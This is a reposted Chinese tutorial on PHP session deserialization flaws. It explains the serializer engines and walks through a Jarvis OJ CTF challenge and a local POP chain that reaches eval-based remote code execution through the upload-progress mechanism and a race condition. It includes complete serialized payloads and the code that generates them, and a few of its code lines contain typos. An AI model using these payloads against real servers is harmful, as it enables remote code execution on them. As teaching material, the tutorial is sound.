**转载bmjoker师傅的文章,并且改了一部分
0x00 session的请求过程
当第一次访问网站时,Seesion_start()函数
就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
0x01 session_start的作用
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID
(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie
。
整个流程大概如上所述,也可参考下述流程图:
0x02 Session存储机制
PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。
先来大概了解一下PHP Session在php.ini中主要存在以下配置项:
Directive | 含义 |
---|---|
session.save_handler | 设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files |
session.save_path | 设置session的存储路径,默认在/tmp |
session.serialize_handler | 定义用来序列化/反序列化的处理器名字。默认使用php。 |
session.auto_start | 指定会话模块是否在请求开始时启动一个会话,默认为0不启动 |
session.upload_progress.enabed | 将上传文件的进度信息存储在session中。默认开启 |
session.upload_progress.cleanup | 一旦读取了所有的POST数据,立即清除进度信息。默认开启 |
在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同
存储引擎 | 存储方式 |
---|---|
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
php处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
_SESSION['username'] = $_GET['username'];
?>
序列化的结果为:username|s:7:”bmjoker”;
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionidphp处理器的Session文件内容为:$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值。
php_binary处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['username'] = $_GET['user'];
?>
序列化的结果为:usernames:7:”bmjoker”;
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionidphp_binary处理器的Session文件内容为:键名的长度对应的 ASCII 字符 + $_SESSION['username']的键名 + GET参数经过serialize序列化后的值。
php_serialize处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
?>
序列化的结果为:a:1:{s:8:”username”;s:7:”bmjoker”;}
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
php_serialize处理器Session文件内容为:GET参数经过serialize序列化后的值。
0x03 Session反序列化漏洞
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。
0x00 存在对$_SESSION变量赋值
php引擎存储Session的格式为
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
---|---|
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session:
Session1.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>
接下来使用php引擎来读取Session文件
Session2.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name." !"
}
}
?>
漏洞的主要原因在于不同的引擎对于竖杠’ | ‘的解析产生歧义。
对于php_serialize引擎来说’ | ‘可能只是一个正常的字符;但对于php引擎来说’ | ‘就是分隔符,前面是$_SESSION[‘username’]的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对’ | ‘后的值进行反序列化处理。
可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对’ | ‘后面的内容进行反序列化呢?也没看到反序列化unserialize函数。
这是因为使用了session_start()这个函数 ,看一下官方说明:https://www.php.net/session_start/
可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。
明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来构造payload:
<?php
class user{
var $name;
var $age;
}
$a = new user();
$a->name = "bmjoker";
$a->age = "888";
echo serialize($a);
?>
如上生成的payload如果想利用php引擎读取Session文件时对’ | ‘解析产生的反序列化漏洞,需要在payload前加个’ | ‘,这个时候经过php_serialize引擎存储就会变成:
这个使用如果使用php引擎去读取
直接访问Session2.php文件:
成功触发了user类的魔术方法__wakeup(),结合POP反序列化链就可以造成一些其他的漏洞。
但这种方法是在可以对$_SESSION进行赋值的情况下实现的,那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用?
0x01不存在对$_SESSION变量赋值
在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对(key:value),value中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。
更多细节请参考:http://php.net/manual/zh/session.upload-progress.php
从上面的大概描述大概得知此漏洞需要session.upload_progress.enabled为on,在上传文件的时候同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以漏洞的根本原因还是使用了不同的Session处理引擎。
来看一道Jarvis OJ 平台的 PHPINFO 题目
环境地址:http://web.jarvisoj.com:32784/
index.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
通过index.php代码可以得知:
1. 是使用php的引擎来读取Session。
2. 如果存在GET方式传递进来的参数,就实例化Oowo类的对象,就会自动调用构造函数construct(),将phpinfo()赋值给变量$mdzz,在程序结束的时候调用析构函数destruct()通过eval执行$mdzz,说白了就是随便传一个参数,就可以看到php探针。
通过读取php探针文件发现了两个比较重要的信息:
1. 默认的Session存储引擎为php_serialize,但是index.php告诉我们Session读取使用的是php引擎,因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。
2. index.php代码中虽然没有对$_SESSION变量赋值,但是session.upload_progress.enabled 为 On。符合使用upload_process机制对变量$_SESSION赋值,并结合上面的Session反序列化来构造利用。
session.upload_progress.name 为 PHP_SESSION_UPLOAD_PROGRESS,可以本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS 变量。
up_sess.html
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" / >
<input type="submit" />
</form>
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO {
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>
其中printr(scandir(dirname(FILE)));用来打印当前文件绝对路径目录中的文件和目录的数组
接下来就要通过不同引擎的差异解析来构造反序列化payload,只需要在前面加上’ | ‘,这样通过php引擎反序列化’ | ‘后半部分,就可以打印出目录中的文件数组:
|O:5:”OowoO”:1:{s:4:”mdzz”;s:36:”printr(scandir(dirname(__FILE)));”;}
在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加’ | ‘和序列化的字符串
查看根目录文件:
发现flag文件与index.php文件在同一目录下,查看根目录路径:
读取flag文件:
0x04 Session反序列化POP链构造
注:以下例子在本地搭建,需要在php.ini中对以下选项进行配置:
session.auto_start = Off session.serialize_handler = php_serialize session.upload_progress.cleanup = 0ff
session.auto_start = on 表示PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。
session.serialize_handler = php_serialize 表示默认使用php_serialize引擎进行存储。
session.upload_progress.cleanup = On 导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。
前期为了演示反序列化效果,暂时将这个选项关闭Off,后面会打开来展示利用条件竞争Session反序列化rce。
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
// 类被当作字符串时被调用
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>
index.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
通读class.php文件,发现漏洞点在于可以通过调用foo3类中的eval方法造成命令执行漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。
1. foo3类中execute方法没有发现调用的地方,但是在foo2类中的魔术方法toString()中发现调用了同名方法,这里可以把foo2类中的$obj实例化为foo3类的对象,这样只要调用toString()就相当于调用foo3类中execute方法。
$this->obj = new foo3();
- 如果想触发foo2类中的魔术方法toString()被触发,就需要foo2类或者类下的一个对象被当作字符串调用。而在foo1类中发现echo了一个对象,这里可以把foo1类中的$varr实例化为foo2类的一个对象,这样通过echo,把一个对象当作一个字符串调用,就可以触发foo2类中的toString()方法。
class.php文件的调用链为:$this->varr = new foo2();
思路有了现在来构造payload:foo3::execute <-- foo2::__toString <-- foo1::__destruct
<?php
class foo1{
function __construct(){
$this->varr = new foo2();
}
}
class foo2{
function __construct(){
$this->obj = new foo3();
}
}
class foo3{
public $varr='phpinfo();';
}
$obj = new foo1(); echo serialize($obj);
?>
再来分析一下index.php文件:
1. 发现使用php引擎来读取Session文件,而系统默认是使用php_serialize引擎来存储Session, 通过不同引擎的差异解析就可以反序列化rce。
2. 文件直接require(class.php),并且紧接着实例化一个foo1类的对象,这意味着使用php引擎解析完Session文件,反序列化payload直接就可以rce。
本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS变量。
在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加’ | ‘和序列化的字符串,payload为:|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":1:{s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}
现在设置session.upload_progress.cleanup = On ,文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争来反序列化rce。
在文件上传的时候,抓取数据包,send to intruder模块,尝试大线程重放数据包:
开始爆破:
就这样通过时间竞争就可以实现反序列化rce。